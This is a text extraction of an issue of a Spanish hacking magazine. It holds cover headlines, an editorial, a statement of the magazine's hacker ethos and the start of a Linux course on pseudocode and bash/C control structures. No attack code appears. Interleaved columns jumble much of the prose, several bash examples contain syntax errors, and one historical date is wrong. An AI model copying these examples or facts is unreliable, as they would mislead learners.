programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...

Hxc11

  • 1. P AUGUSTA A ADA BYRON S O EL “PRIMER PROGRAMA” P A S O a Y LA MAQUINA DE BABBAGE a a a a a a aa a a a a a LA INSEGURIDAD DEL PROTOCOLO FTP Utilizando A PA C H E c o m o Servidor Proxy XML ¿Qué es un DTD? Curso de VB IIS BUG XPLOIT BASH SCRIPTING EN LINUX CONTROLA TU SISTEMA Nº 11 -- P.V.P. 4,5 EUROS 00011 8 414090 202756 PC PASO A PASO: CREANDO NUESTRA PROPIA HERRAMIENTA DE HACKING
  • 2. P A S O aa P A S Oaa aa a a aa a a a a a a aa EDITORIAL: EDITOTRANS S.L. Director de la Publicación J. Sentís C.I.F: B43675701 E-mail director@hackxcrack.com Director Editorial I. SENTIS Diseño gráfico: J. M. Velasco E-mail contacto director@editotrans.com Contacto diseñador gráfico grafico@hackxcrack.com Título de la publicación Los Cuadernos de HACK X CRACK. Redactores AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO, Nombre Comercial de la publicacíón ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE, PC PASO A PASO ZORTEMIUS, AK22, DORKAN, KMORK, MAILA, TITINA, SIMPSIM... ... ... ... ... Web Contacto redactores www.hackxcrack.com redactores@hackxcrack.com Deposito legal: B.26805-2002 Colaboradores Código EAN: 8414090202756 Mas de 130 personas: de España, de Brasil, de Código ISSN: En proceso Argentina, de Francia, de Alemania de Japón y algún Estadounidense. Contacto colaboradores colaboradores@hackxcrack.com Imprime I.G. PRINTONE S.A. Tel 91 808 50 15 Distribución Coedis S.L. Avda. de Barcelona 225. Molins de Rei. Barcelona. Tel 93 680 03 60 FAX 93 668 82 59 WEB: www.coedis.com (mapa de distribución en la web) TELÉFONO DE ATENCIÓN AL CLIENTE: 977 22 45 80 HORARIO DE ATENCIÓN: DE 9:30 A 13:30 (LUNES A VIERNES) © Copyright Editotrans S.L. NUMERO 11 -- PRINTED IN SPAIN Página 2 PERIOCIDAD MENSUAL PC PASO A PASO Nº 11
  • 3. EDITORIAL Mas paginas, mas contenido y mismo precio... esperamos seguir mejorando. DOS!!!!! DOS DISCOS DUROS y una Fuente de Alimentación han exhalado su último aliento durante el proceso de maquetación del número 11 de PC PASO A PASO (Los Cuadernos de Hack x Crack). Culpable solo hay uno, el enemigo número uno de cualquier ordenador: EL CALOR!!!!! Dicen que hay gente que nace con suerte, MENTIRA. Si tienes ante ti esta revista no es por “suerte”, sino porque durante la maquetación hacemos copia de seguridad de los datos tres veces al día. Nosotros no somos nadie para dar consejos, pero la experiencia manda y sí tenemos algo que pedirte: PON A SALVO TUS DATOS IMPORTANTES antes de que sea demasiado tarde. Seguro que estás harto de escuchar este tipo de “tonterías”; pero si estas palabras sirven para que una sola persona nos haga caso y haga una copia de seguridad de su trabajo, nos damos por satisfechos :) Dejemos de lado los efectos del calor y pasemos a algo más interesante. Este número 11, por si no te has dado cuenta, pesa un poco más que los anteriores. Hemos incluido 16 páginas más de puro contenido y esperamos que a partir de este momento se mantenga así en los sucesivos. El coste de este esfuerzo para nuestra diminuta editorial es, creedme, INMENSO. Y para los que ya están pensando en una posible subida de precio a la vuelta del verano, que lo olviden... no tenemos ninguna intención de subir el precio ;p Me quedo sin espacio y casi se me olvida lo más importante: ESTE NÚMERO 11 ES DE JULIO Y AGOSTO. Hacemos unas cortas vacaciones que utilizaremos para reorganizar el modo de trabajo y enfrentarnos a esas tareas que tenemos pendientes, por ejemplo la escasa disponibilidad actual del Servidor de Pruebas. Muchos creerán que soy MUY PESADO por acabar siempre dando las gracias a quienes colaboran para que cada mes tengas en tus manos esta publicación; pero no te confundas, este agradecimiento no es una formalidad, es una realidad: Sin las colaboraciones desinteresadas de muchas personas, esta revista no vería LA LUZ. FELIZ VERANO !!! PC PASO A PASO Nº 11 Página 3
  • 4. DECLARACION DE INTENCIONES PARA "LOS OTROS": 1.- La intención de la presente publicación NO ES fomentar la piratería curiosidad deberéis ponerla VOSOTROS, porque los medios los facilitaremos informática ni la “delincuencia” en la Red. NOSOTROS. En las siguientes líneas os descubrimos cómo podremos 2.- Cualquier texto publicado es VALIDADO por nuestra Asesoría Jurídica, conseguir nuestros objetivos y definimos algunas de las palabras que más por lo que advertimos a cualquier persona, empresa u organización de la han sido violadas y retorcidas en su significado. inutilidad de cualquier iniciativa jurídica en nuestra contra. Aun así, en caso de cualquier iniciativa en contra de esta revista, deberá ser debidamente Hacker: Este término ha sufrido a lo largo de su corta historia una horrible presentada y resuelta en la Razón Social que figura en nuestros documentos conspiración perpetrada por la ignorancia de los medios, eso que de constitución. personalmente llamo "periodismo de telediario" (en clara alusión a los 3.- Esta publicación no se hace responsable del mal uso de los conocimientos ridículos artículos que no hacen mas que intoxicar nuestra percepción de que se exponen. las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a 4.- Esta publicación NO FACILITARÁ los datos de nuestros colaboradores "otros poderes", desde los monopolios que deben justificar su incompetencia ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun así, hasta los gobiernos que deben justificar sus intereses ocultos pasando por advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas la industria del cine (normalmente demonológica) y los medios informativos que por sus NICKS (alias). Por ello, correrá a cargo de los organismos "de masas". pertinentes su “descubrimiento”. 5.- Esta publicación NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR Pues bien, HACKER no es mas que una persona que posee conocimientos las opiniones personales vertidas por sus colaboradores, por lo que NO avanzados sobre una materia en concreto, normalmente relacionados con SOMOS RESPONSABLES de las mismas. la tecnología aunque ni mucho menos limitado a ello. Ponen sus aptitudes 6.- Cualquier texto publicado estará bajo las protecciones de DERECHOS al servicio de un único objetivo: EL CONOCIMIENTO. Desean conocer el DE AUTOR y no se permite su copia, publicación, modificación o distribución funcionamiento de "las cosas" y no encuentran límites en sus camino mas sin antes obtener el permiso de esta editorial. De este punto quedan exentos que su propia curiosidad. No se dedican a destruir ni a causar estragos aquellos textos que han sido obtenidos de terceros y/o que están sujetos entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse a otras licencias (ya sean por parte de su autor o por terceros). de sus "conquistas", muy al contrario suelen advertir a terceros de las 7.- Si desean ponerse en contacto con nuestro departamento jurídico, debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar rogamos enviar mail a juridico@hackxcrack.com de agradecerles su aviso se dedican a denunciarlos o perseguirlos… aunque no siempre es así, por supuesto, muchas compañías y gobiernos han PARA NUESTROS LECTORES: aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores (o empleados) de estos. BILL GATES es un HACKER (el papá ventanas), Como podréis ver, esta no es una revista mas, por primera vez tenéis ante como Linus Torvalds (el papá Linux) o Grace Hooper (la Almirante, vosotros una publicación LIBRE que os ofrecerá la posibilidad de explorar creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas la red tal y como debe explorarse ;) Morris, Douglas McIlroy y Victor Vysottsky (precursores de los creadores de virus informáticos), Fred Cohen (el primer investigador y Esta publicación responde a la pregunta mas veces expuesta en LA RED: autor de los virus de la historia), Dennis Ritchie y Ken Thompson ¿Como puedo ser un hacker? Bien, ahora seguro que muchos ya se están ("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall "sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en (autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del "portadores de LA LUZ", pensando que seremos una "escuela de lamers" Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin y similares a otras publicaciones que, entre sus 100 páginas de revista solo Mitnick (el más buscado por el FBI), Phiber Optik (líder juvenil convertido contiene 5 de "material utilizable" (si es que puede llamarse así). en símbolo de los hackers), Richard Stallman (impulsor del "software libre" y GNU), Johan Helsingius (primer conductor de un Remailer Pues NO, lo siento, vosotros seréis nuestros jueces y, llegado el caso, Anónimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic NUESTROS VERDUGOS. (creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel Ramonez (virus LoveLetter), Vladimir Levin (Robó electrónicamente Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y demás 10 millones de dólares al Citibank), y muchos mas. ¿Cómo? ¿Pero no hemos "esencias") con el único método que conocemos: LA EDUCACIÓN y con un dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su única bandera que será por siempre nuestra firma: SOLO EL CONOCIMIENTO definición… pero claro, de todo hay en la viña del señor, y al igual que hay TE HACE LIBRE LIBRE. delincuentes entre el clero hay hackers que en un momento u otro han ·caido· en la ilegalidad, nadie es perfecto!!!!! … y Bill Gates es un HACKER? Estos son nuestros pilares: LA EDUCACIÓN Y EL CONOCIMIENTO Para ser CONOCIMIENTO. Por supuesto, solo tienes que leerte su biografía. ¿Sorprendido? Espero un HACKER (maldita palabra mal entendida por unos y peor utilizada por que no, porque eso no es nada mas que un cero a la izquierda en comparación otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la con lo que vas a encontrar en esta revista. Página 4 PC PASO A PASO Nº 11
  • 5. Programacion en GNU/LiNUX Bash scripting y C el_chaman. Luis U. RodrIguez Paniagua -LINUX iv- - BASH SCRIPTING: Para administrar el sistema // C: Para cualquier cosa - Programación Estructurada y Paradigma de la Programación Orientada a Objetos - Compiladores e Interpretes: Entendiendo como hablan los ordenadores 1. Introducción Una vez presentada de manera muy general Esto nos servirá además para tomar conciencia las características de nuestro sistema operativo, de lo dicho arriba: Programar no es una tarea vamos a profundizar en ellas de la mejor manera que se limite a conocer la sintaxis de un lenguaje, posible: programando. La programación, y más sino algo más cuando ésta va a estar orientada a tareas administrativas y relacionadas con la seguridad, 2. Paradigmas de programación: será la mejor manera de ir conociendo en El algo más profundidad un S.O. Cuando hablamos de paradigmas de Tratar la programación siempre es una tarea programación, estamos hablando de maneras larga y compleja debido a que muchos son los de enfrentarse a un problema y darle así que creen saber programar en tal o cual solución. Hoy por hoy los principales paradigmas lenguaje. Programar no es una tarea que se de programación utilizados son el Paradigma limite a un lenguaje concreto; programar es la de la Programación Estructurada y el Paradigma capacidad que tendremos de saber cómo y de la programación Orientada a Objetos. qué hay que decirle a un ordenador para que realice una tarea concreta. Programación Estructurada En el presente artículo nos centraremos en los Cuando hablamos de Programación Estructurada "cómos"; la razón es sencilla: el qué depende estamos hablando de una manera de programar de cada uno de vosotros. que se define de la siguiente forma: Dado un problema A, lo subdivido en problemas más Cuando hablamos de programación en sencillos A1, A2....An, los resuelvo y junto todo. GNU/LiNUX, estamos hablando de C. Pero Se supone que la resolución de un problema también cuando hablamos de programación sencillo Ai conllevará menos trabajo que la en GNU/LiNUX estamos hablando de resolución de un problema mayor (A). administración. Por ello en el presente curso, La ventaja de este sistema de programación nos centraremos en dos lenguajes para poner nos permitirá afrontar el trabajo de una manera en práctica la teoría que demos de estructurada, ordenada y coherente e incluso programación: bash scripting como lenguaje facilitar el desarrollo de una aplicación por parte utilizado para la administración diaria del de un grupo de personas, cada una de las sistema, y C como lenguaje de programación cuales se encargue de dar solución a uno de general. esos problemas Ai PC PASO A PASO Nº 11 Página 5
  • 6. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux Programación Orientada a Objetos A lo largo del presente curso abordaremos tan sólo la Programación Estructurada utilizando Cuando hablamos de Programación para ello los dos lenguajes vistos en la Orientada a Objetos estamos hablando a introducción: el bash-script y el C. El primero una manera de afrontar un problema que se por ser un lenguaje interpretado y utilizado identifica de alguna manera con la forma en constantemente en tareas administrativas del la que los humanos percibimos la realidad: día a día en entornos UNiX; el segundo por ser Considerar a cada elemento que pueda El Lenguaje por antonomasia en entornos UNiX estar presente en un problema como un ente (la razón de la existencia del C es precisamente autónomo ( objeto ) con sus cualidades la necesidad de un lenguaje que permitiese (atributos o características ) y un comportamiento determinado ( métodos ). escribir código del nuevo S.O. UNiX en los Bell Labs sin tener que usar el ensamblador; es Análogamente a lo expuesto en la definición decir, ambos se desarrollaron paralelamente). de Programación Estructurada, el comportamiento de un programador cuando 3. La Programación Estructurada se enfrenta a un problema mediante el paradigma de la Programación Orientada a 3.1. Algoritmos, lenguajes y más cosas Objetos (P.O.O. a partir de ahora), será el siguiente: Dado un problema A, identifico todos Como se dijo previamente, la Programación los objetos que existen en el problema, los Estructurada (P.E. a partir de ahora), agrupo en clases y codifico estas. Creo un básicamente consiste en enfrentarnos a un programa principal que a partir de las clases problema siguiendo la máxima divide y vencerás. cree los objetos necesarios y hago interactuar Pero, una vez que hemos identificado los diversos a éstos entre sí. Ya tengo un programa. subproblemas ¿qué he de hacer? La ventaja de este sistema radicará en mayor reutilización del código y en un diseño más Pues simplemente aplicar un algoritmo que estandarizado, lo cual hace de este tipo de describa cómo resolver ese subproblema. lenguajes los ideales para el desarrollo de .... aplicaciones de manera industrial. ¿Que aplique un qué? Cabe decir antes de nada que ningún paradigma Un algoritmo. Un algoritmo, en términos es mejor que otro y que la elección de uno u generales, es un conjunto de instrucciones que otro depende mucho de los gustos personales se han de seguir para hacer una tarea, ya sea del programador. Otra cosa que es necesaria hacer una tortilla de patatas, vestirnos por las recalcar es que de alguna manera La mañanas o “crear” un gusano. Algoritmo viene Programación Estructurada siempre se utiliza del farsí. Concretamente del nombre Abu Ja'far en la P.O.O., ya sea en los métodos o en los al-Khowârizmî, famoso matemático persa del programas principales encargados de crear los siglo VII. objetos y darles las instrucciones pertinentes. Pongamos un ejemplo sencillo. Imaginemos Para cada uno de estos paradigmas existen que una parte de un problema mayor requiere disponibles diversos lenguajes. Así para la que pasemos un número cualquiera a positivo. programación Estructurada tenemos el C, Si nos preguntan probablemente Pascal,COBOL, FORTRAN,etc... Y para la P.O.O. responderemos: "pues miro si es negativo y si el C++, Delphi, Smalltalk, SmallEiffel, Basic.NET lo es lo hago positivo; es obvio". Tal vez lo sea. (NO VisualBasic), C#, etc.... Pero cuando queremos que un ordenador, que Página 6 PC PASO A PASO Nº 11
  • 7. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux es completamente estúpido, sea quien resuelva 0011110101001010101010100010101010100 el problema por nosotros, le tenemos que dar 1010101010000111101010100101 la mayor cantidad posible de información. Concretamente le tendríamos que decir algo Ahora oigamos hablar a un ser humano; por como: ejemplo a un cliente que nos manda hacer un pipio programa: numero <- lee_numero; si numero < 0 - Quiero un programa que me haga la entonces declaración de la renta, se conecte a numero <- numero * -1 Internet y sea azul tortilla. fin_si fin Pues bien, nuestro trabajo será hacer que mediante instrucciones precisas expresadas en Lo arriba mostrado es lo que se conoce como unos y ceros, el ordenador sea capaz de resolver pseudo código. El pseudo código podemos la declaración de la renta del cliente y decir que es un meta-lenguaje de programación permitirle navegar por Internet. Lo del color o un lenguaje de programación genérico; o si azul tortilla deberá ser negociado o pasárselo lo preferís: Programar con mi propio lenguaje. al departamento de programación de Como veis todo está en castellano y es Wadalbertia. fácilmente comprensible. Si hemos logrado escribir todo un programa en pseudo código, A esta diferencia entre lenguajes (el lenguaje ¡ya hemos programado! Sin saber C, ni Pascal, natural, correspondiente al ser humano, y el ni..... lenguaje máquina, correspondiente al procesador) se le denomina brecha semántica y es una pega real que existe a la hora de ! Otro ejemplo... programar un ordenador porque ¿cómo sabe un ordenador que numero <- leer _ número Otro ejemplo de pseudo código que trata el mismo caso corresponde a leer un número cuando él sólo (por si no has entendido el anterior): entiende de unos y ceros? 1.- Recibo un número 2.- Leo el número Como alguno ya habrá adivinado, todo consistirá 3.- Si número menor que cero (negativo) pasa a la línea en "algo" que nos traduzca de nuestro lenguaje siguiente, caso contrario finaliza el programa a unos y ceros. Pues bien, ese algo son los 4.- Multiplica el número por -1 compiladores y los intérpretes. Ahora hablaremos 5.- Fin de ello. Antes de terminar decir que, si cada uno programamos en nuestro propio lenguaje, necesitaríamos continuamente un compilador - Un momento que me pierdo. Si eso es programar ¿por qué existen el C, el o intérprete para él. Es más, sería bastante Pascal, el Xisual Basic....? probable que nosotros lo tuviésemos que hacer desde 0 (cosa que se puede hacer). Eso es programar, no nos quepa duda. Hemos Afortunadamente este trabajo que es uno de descrito paso a paso las tareas necesarias para los más duros de la programación y ya lo han resolver un problema. Ahora bien, hablemos hecho por nosotros: Son los lenguajes de un poco de lenguajes, filologías y torres de programación (Ada, Basic, C, etc....) que no Babel. Empecemos por lo más básico: Oigamos dejan de ser más que una estandarización del hablar a un ordenador: lenguaje a emplear. PC PASO A PASO Nº 11 Página 7
  • 8. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux Programar pues, será resolver el problema inicialmente en nuestro propio lenguaje (pseudo código), y traducirlo posteriormente a lenguajes estandarizados que a su vez serán traducidos a unos y ceros que el ordenador entenderá. Aunque esta manera de hacer las cosas nos parezca pesada y contraproducente (algo así como escribir dos veces la misma cosa), es donde reside lo que distingue a los buenos programadores de los que no lo son. 3.2. Compiladores e intérpretes: Máquinas de varios niveles Hablando de la brecha semántica, hemos hecho una breve introducción del problema más común a la hora de programar: La traducción de lo que el ser humano expresa a lo que una máquina es capaz de entender. A lo largo de la historia de los ordenadores Hubo una época en la que los ordenadores se este ha sido un problema al que los programaban con unos y ceros. Incluso hubo informáticos se han ido enfrentando una época en la que los ordenadores ni siquiera progresivamente. entendían de unos y ceros y había que programarlos enchufando y desenchufando los Un error común es pensar que el tratamiento registros necesarios de lenguajes de programación es algo Ahora contemplemos el siguiente esquema: reciente, perteneciente a la época del ordenador personal. Pero deberíamos remontarnos al siglo VII para ver como la base de la programación es ya presentada mediante el concepto de algoritmo. E incluso a los griegos. Pero hay quien prefiere, y el autor se suma a ellos, considerar como la primera programadora a Ada Byron, más conocida como Lady Lovelace, que allá por el siglo XIX desarrolló el primer programa para un mecanismo de cálculo: La máquina de Babbage. Es a partir de este momento cuando el concepto de "algoritmo" y "programa" pasa a estar ligado al mundo de las máquinas de cálculo (ver "mini-biografía" de Ada Byron al final de este número). Ahora contemplemos el siguiente esquema que representa la brecha semántica: Página 8 PC PASO A PASO Nº 11
  • 9. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux En la figura arriba mostrada se nos presenta vez que hemos hecho eso ¿cómo "decimos" lo el concepto de máquina virtual, en el que cada que se tiene que hacer?. Bien, la forma de decir elemento contempla al ordenador como el a un programa lo que debe de hacer es lo que elemento que tiene inmediatamente abajo. Así conocemos por Estructuras de Control y que el ser humano, la idea que tiene, la plasma de como su nombre indica, serán mecanismos del manera formal (pseudo código); a su vez ese código que nos permitirán controlar el flujo, es pseudo código se traduce a una codificación decir, la secuencia, de ejecución de instrucciones estánta o Lenguaje de alto Nivel (1). Esta tarea en un programa. la suele hacer el ser humano, y digo suele Para que un lenguaje de programación deba porque tras la aparición de los lenguajes de ser considerado como tal, debe de proporcionar cuarta generación (4GL) esto no es siempre estructuras de control. así. A continuación, al pasar de M2 a M1 entra en juego el compilador o intérprete que traduce Estas estructuras de control son tres: al ensamblador y de ahí a código objeto (binario) Estructura Secuencial lo que hayamos expresado mediante el lenguaje estandarizado de programación. Y finalmente Corresponde a la estructura que señala la el enlazador o linker se encargará de traducir secuencia de ejecución de las instrucciones. y añadir al código objeto lo necesario para que Es decir, es lo que nos dice: Aquí comienza el programa sea un ejecutable comprensible y termina una instrucción básica por la CPU. Ve a m o s c o m o s e r e p r e s e n t a r í a : (1) Recibe este nombre por su proximidad a Pseudocódigo la cima del esquema, es decir, al lenguaje numeroA <- leer_numero() natural. numeroB <- leer_numero() resultado <- numeroA+numeroB ! Cuando este proceso... imprimir(resultado) Bash Cuando este proceso se realiza de una vez, es decir, antes read numeroA de pasar al nivel Mi-1, tratamos todo el código que hay en read numeroB el nivel Mi, estamos hablando de un lenguaje compilado. resultado=`expr $numeroA + $numeroB` Cuando este el proceso se realiza con cada instrucción del echo $resultado programa, es decir, se coje UNA instrucción del nivel Mi, se transforma esta instrucción al nivel Mi-1, luego al Mi- C 2, se ejecuta, se pasa a la siguiente instrucción y se repite scanf("%i",&numeroA); todo el proceso, hablaremos de un lenguaje interpretado. scanf("%i",&numeroB); resultado=numeroA+numeroB; printf("%i", resultado); 3.3. Estructuras de Control Como vemos en el pseudo código, la secuencia Tras presentar los lenguajes, volvemos un poco a hablar sobre la programación en si. Hemos de las instrucciones queda señalada mediante visto que la P.E. consiste en reducir a problemas la escritura de una instrucción simple por línea. más sencillos un problema general y que las En el lenguaje bash scripting la secuencia instrucciones que demos serán traducidas de una manera u otra a los unos y ceros que el también viene dada por la inclusión de una ordenador es capaz de comprender. Pero una instrucción básica por línea. PC PASO A PASO Nº 11 Página 9
  • 10. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux Sin embargo en el lenguaje C, aunque según Estructura Iterativa (Bucles) el ejemplo así lo parezca, no es el tener una Esta estructura nos permite realizar bucles instrucción por línea lo que marca la secuencia o repeticiones. Podemos clasificar los bucles del programa, sino el ; (punto y coma). De en tres tipos bien diferenciados hecho el siguiente código en C es absolutamente idéntico al anterior: Bucles para o de número de repeticiones scanf("%i",&numeroA);scanf("%i",&numeroB);res conocidas a priori ultado=numeroA+numeroB;printf("%i", resultado); Estos bucles corresponde a los que utilizan Ahora la primera línea NO es una instrucción, un contador para realizar N veces una tarea sino una SECUENCIA de instrucciones separadas o tareas determinadas. Como el valor inicial por ; del contador debe de ser especificado antes de construir el bucle, se conoce a priori Estructura Selectiva cuantas veces se repetirá. La Estructura selectiva nos permitirá escoger entre dos flujos distintos de ejecución del programa dependiendo de Pseudocódigo que una condición se cumpla o no. Por para contador <- 1 mientras contador < 10 hacer ejemplo: imprimir( Repetición número contador ) contador <- contador + 1 fin_para Pseudocódigo si numeroA < 0 Bash entonces for contador in "1 2 3 4 5 6 7 8 9 10" numeroA <- numeroA+1 do si_no numeroA <- numeroA-1 echo "Repetición número $contador" fin_si done Bash C if [ $numeroA -lt 0 ]; then for(contador=1;contador < 10; contador ++) numeroA=`expr $numeroA +1' { else printf("RepeticiAón número %i", contador); numeroA=`expr $numeroA -1' } fi En este caso resulta curioso observar cómo C se comporta el bucle para en bash scripting if (numeroA < 0) { dado que hay que pasarle la lista completa numeroA = numeroA + 1; de los valores que puede tomar la variable } contador. Pronto veremos que esto tiene else su razón de ser debido a que la { programación con este lenguaje se realiza numeroA = numeroA - 1; principalmente para realizar tareas } administrativas, y esta forma de hacer las cosas nos permitirá realizar cosas como: Página 10 PC PASO A PASO Nº 11
  • 11. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux #!/bin/sh Bash # # Script que nos clasifica el contenido de read contador # un directorio en subdirectorios while [ $contador lt 100 ] # do # Crear directorios mkdir txt echo $contador mkdir grafs contador = expr `$contador + 1' mkdir html done # Mover todos los documentos html al # directorio html C for archivo in [ *.html *.htm *.HTML *.HTM ] scanf("%i",&contador); do mv $archivo html while(contador < 100) done { # Mover todos los documentos de texto al printf("%i ", contador); # directorio txt contador=contador+1; for archivo in [ *.txt *.TXT ] } do mv $archivo txt done # Mover los archivos de tipo gráfico al Bucles hacer.....mientras # directorio graf for archivo in [ *.gif *.GIF *.jpg *.jpeg *.JPG *.JPEG] Este tipo de bucles son similares a los do mv $archivo grafs anteriores, con la diferencia de que al done menos una vez se ejecuta el cuerpo del bucle y se termina examinando la condición Incluso este programa se puede simplificar al final. Es por esto que reciben el nombre muchísimo más pero a costa de perder un de bucles de una o más repeticiones. poquito de claridad, cosa que a estas alturas aún no podemos permitirnos. Bucles mientras....hacer Pseudocódigo En este tipo de bucles, también hacer denominados de cero o más repeticiones, se examina inicialmente una condición o imprimir(Deme un número positivo:) condición de permanencia en el bucle. Si esta se cumple entramos en el cuerpo de numero <- leer(); la repetición y no saldremos de él hasta mientras numero <= 0 que la condición de permanencia deje de cumplirse. Si no se cumple inicialmente Bash no se entra; de ahí el nombre de cero o No hay equivalencia, pero lo podremos más repeticiones simular mediante un bucle mientras...hacer Pseudocódigo echo "Deme un número positivo: " contador <- leer() read numero mientras contador < 100 hacer while [ $numero -le 0 ] imprimir(contador) do contador <- contador + 1 echo "Deme un número positivo: " fin_mientras read numero done PC PASO A PASO Nº 11 Página 11
  • 12. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux C (2) Hace unos años nuestro profesor de do{ programación en la Facultad de Informática de printf("Deme un número positivo: "); Valladolid comentó: "Los mejores programadores scanf("%i",•); son los rusos". Este comentario creó a su vez }while(numero <= 0); una avalancha de comentarios en voz baja, la mayoría especulativos sobre la naturaleza de esa cualidad de los programadores rusos.".... Tendrán mejores ordenadores ..... Tendrán Y teniendo en cuenta estas tres estructuras mejores matemáticos .... La vodka y los básicas ya podremos, en teoría, enfrentarnos algoritmos hacen buenas migas....". Al final y resolver cualquier tipo de problema mediante nuestro querido (más o menos, todo hay que la programación. decirlo) profesor solventó el misterio: "Es que Se ha procurado ir ilustrando con ejemplos sólo disponen de lápiz y papel". todas y cada una de las estructuras para recalcar dos cosas: La primera que veamos que escribir un programa en el lenguaje X se limita a tomar 4. Poniendo en práctica lo dicho un manual de dicho lenguaje y a traducir del Aún nos queda mucho por ver; principalmente pseudo código a ese lenguaje. Segunda, que particularidades de cada programa o términos al final la sintaxis de los lenguajes se termina tan importantes como el de variable. Con pareciendo y que si fuéramos angloparlantes respecto a este último término, para el ejemplo la traducción del pseudo código al lenguaje X que vamos a afrontar, digamos que son "cajas" sería inmediata.... Sobre todo si el lenguaje X donde podemos almacenar "cosas" es Pascal. :o) temporalmente. En el próximo capítulo veremos De esto podemos sacar la conclusión de que que esta analogía es muy acertada si tenemos no es mejor programador quién "sabe" más C en cuenta lo que ocurre en la memoria. o más Basic o más... Si no aquel que tiene Pero por ahora afrontemos un problema real. bien estructurado un programa, cuyo código Imaginemos que nos piden desarrollar una es fácilmente legible y que donde, en sencilla calculadora que soporte las operaciones consecuencia, es más fácil localizar los errores. suma, resta, multiplicación y división. Las Y este estado de cosas se consigue cuando operaciones serán escogidas por el usuario antes de teclear tan siquiera la primera línea mediante un menú. La aplicación deberá ser de código, nos ponemos delante de una hoja ejecutada hasta que el usuario desee salir. de papel y realizamos la tarea de analizar el Analicemos lo que se nos pide: programa. Primero identificaremos partes de los programas que poseen cierta autonomía. hacer Estos serán los "problemas más sencillos". También observaremos que hay "problemas ejecutar_calculadora más sencillos" que se presentan varias veces a lo largo de un problema mayor. Serán los mientras no salir candidatos a procedimientos o funciones, de En esta primera aproximación parece ser que los que hablaremos en más detalle en próximos ya tenemos una cosa: Que la calculadora se capítulos. Finalmente daremos las instrucciones debe ejecutar mientras el usuario no quiera necesarias para resolver los "problemas más otra cosa. Vamos a ver que qué consiste el sencillos (2) y juntaremos todo. A este proceso " s u b - p r o b l e m a " e j e c u t a r _ c a l c u l a d o ra se le denomina programación descendente. Página 12 PC PASO A PASO Nº 11
  • 13. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux hacer Poniéndolo todo junto nos quedará: imprimir_menu pipio (* Entrada del programa *) leer_opcion hacer mientras opcion < 0 o opcion > 5 (* Leemos una opción válida *) hacer leer_operandos imprimir(1 - Sumar) imprimir(2 - Restar) calcular imprimir(3 - Multiplicar) imprimir(4 - Dividir) Bien, hemos visto que el trabajo de imprimir(5 - Salir) imprimir(Deme una opción) ejecutar_calculadora puede ser subdividido en opcion <- leer() trabajos más sencillos. mientras opcion < 0 o opcion > 5 Continuando con el diseño descendente (* Leemos los operandos *) podremos llegar a que: si opcion distinto de 5 imprimir_menu entonces imprimir(Deme el primer operando:) imprimir(1 - Sumar) numA <- leer() imprimir(2 - Restar) imprimir(Deme el segundo operando:) imprimir(3 - Multiplicar) numB <- leer() imprimir(4 - Dividir) fin_si imprimir(5 - Salir) (* Realizar los cálculos *) leer_opcion imprimir(Deme una opción) (* Suma *) opcion <- leer() si opcion=1 entonces leer_operandos resultado=numA+numB fin_si imprimir(Deme el primer operando:) numA <- leer() (* Resta *) imprimir(Deme el segundo operando:) si opcion=2 numB <- leer() entonces resultado=numA-numB y finalmente calcular fin_si si opcion=1 entonces (* Multiplicación *) resultado=numA+numB si opcion=3 entonces fin_si resultado=numA*numB si opcion=2 fin_si entonces resultado=numA-numB (* División *) fin_si si opcion=4 si opcion=3 entonces entonces resultado=numA/numB resultado=numA*numB fin_si fin_si si opcion=4 mientras ( opcion distinta de 5 ) entonces fin (* Fin del programa *) resultado=numA/numB fin_si PC PASO A PASO Nº 11 Página 13
  • 14. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux Bien, pues hemos resuelto el programa en pseudo Y el código en C c ó d i g o . A h o ra t a n s ó l o t e n d r í a m o s q u e #include <stdio.h> plasmarlo en Bash-script o C: #!/bin/sh /* Entrada del programa principal */ opcion=-1 int main() { # Bucle principal del programa while [ $opcion -ne 5 ] /* Declaraci~n de variables */ do float numA, numB, resultado; int opcion; # Verivicacion de opcion e impresion while [ $opcion -lt 0 -o $opcion -gt 5 ] /* Bucle principal del programa */ do do echo "1- Sumar" { echo "2- Restar" /* Bucle de lectura de la opci~n */ echo "3- Multiplicar" do echo "4- Dividir" { echo "5- Salir" printf("n 1- Sumar"); read opcion # Leemos la opci~n printf("n 2- Restar"); done printf("n 3- Multiplicar"); printf("n 4- Dividir"); # Lectura de operandos printf("n 5- Salirn"); if [ $opcion -ne 5 ] printf("n Introduzca opci~n: "); then scanf("%i", &opcion); echo "Deme el primer operando: " }while( (opcion < 0) || (opcion > 5) ); read numA echo "Deme el segundo operando: " /* Si no vamos a salir, pedimosoperandos */ read numB if (opcion!=5) fi { printf("n Deme el primer operando: "); # Operaci~n suma scanf("%f",&numA); if [ $opcion -eq 1 ] printf("n Deme el segundo operando: "); then scanf("%f",&numB); resultado=`echo " $numA + $numB " | bc -l` } fi # Operaci~n resta /* Caso de suma */ if (opcion == 1) if [ $opcion -eq 2 ] { then resultado = numA + numB; resultado=`echo " $numA - $numB " | bc -l` } fi /* 